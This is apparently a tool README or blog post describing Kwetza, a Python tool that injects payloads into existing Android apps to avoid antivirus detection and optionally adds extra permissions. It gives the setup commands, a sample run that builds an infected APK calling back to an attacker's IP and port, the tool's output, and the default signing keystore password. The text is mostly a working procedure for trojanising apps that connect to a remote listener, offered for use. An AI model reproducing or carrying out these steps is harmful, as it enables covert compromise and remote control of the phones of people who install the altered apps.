Kwetza infects an existing Android application with either custom or default payload templates to avoid detection by antivirus. Kwetza allows you to infect Android applications using the target application’s default permissions or inject additional permissions to gain additional functionality.
Firstly get the code:
git clone https://github.com/sensepost/kwetza.git
Kwetza is written in Python and requires BeautifulSoup which can be installed using Pip:
pip install beautifulsoup4
Kwetza requires Apktool to be install and accessible via your PATH. This can be setup using the install instructions located here: https://ibotpeaches.github.io/Apktool/install
python kwetza.py nameOfTheApkToInfect.apk LHOST LPORT yes/no
yes =include “yes” to inject additional evil perms into the app, “no” to utilize the default permissions of the app.
python kwetza.py hackme.apk 10.42.0.118 4444 yes [+] MMMMMM KWETZA  DECOMPILING TARGET APK [+] ENDPOINT IP: 10.42.0.118 [+] ENDPOINT PORT: 4444 [+] APKTOOL DECOMPILED SUCCESS  BYTING COMMS...  ANALYZING ANDROID MANIFEST... [+] TARGET ACTIVITY: com.foo.moo.gui.MainActivity  INJECTION INTO APK [+] CHECKING IF ADDITIONAL PERMS TO BE ADDED  INJECTION OF CRAZY PERMS TO BE DONE! [+] TIME TO BUILD INFECTED APK  EXECUTING APKTOOL BUILD COMMAND [+] BUILD RESULT
I: Using APktool 2.2.0 I: Checking whether source shas changed... I: Smaling smali folder into classes.dex I: Checking whether resources has changed... I: Building resources... I: Copying libs ...(/lib) I: Building apk file... I: Copying unknown files/dir...
[*] EXECUTING JARSIGNER COMMAND... Enter Passphrase for keystore: password [+] JARSIGNER RESULT
[+] L00t located at hackme/dist/hackme.apk
Kwetza has been developed to work with Python 2. Kwetza by default will use the template and keystore located in the folder “payload” to inject and sign the infected apk. If you would like to sign the infected application with your own certificate, generate a new keystore and place it in the “payload” folder and rename to the existing keystore or change the reference in the kwetza.py. The same can be done for payload templates.
The password for the default keystore is, well, “password”.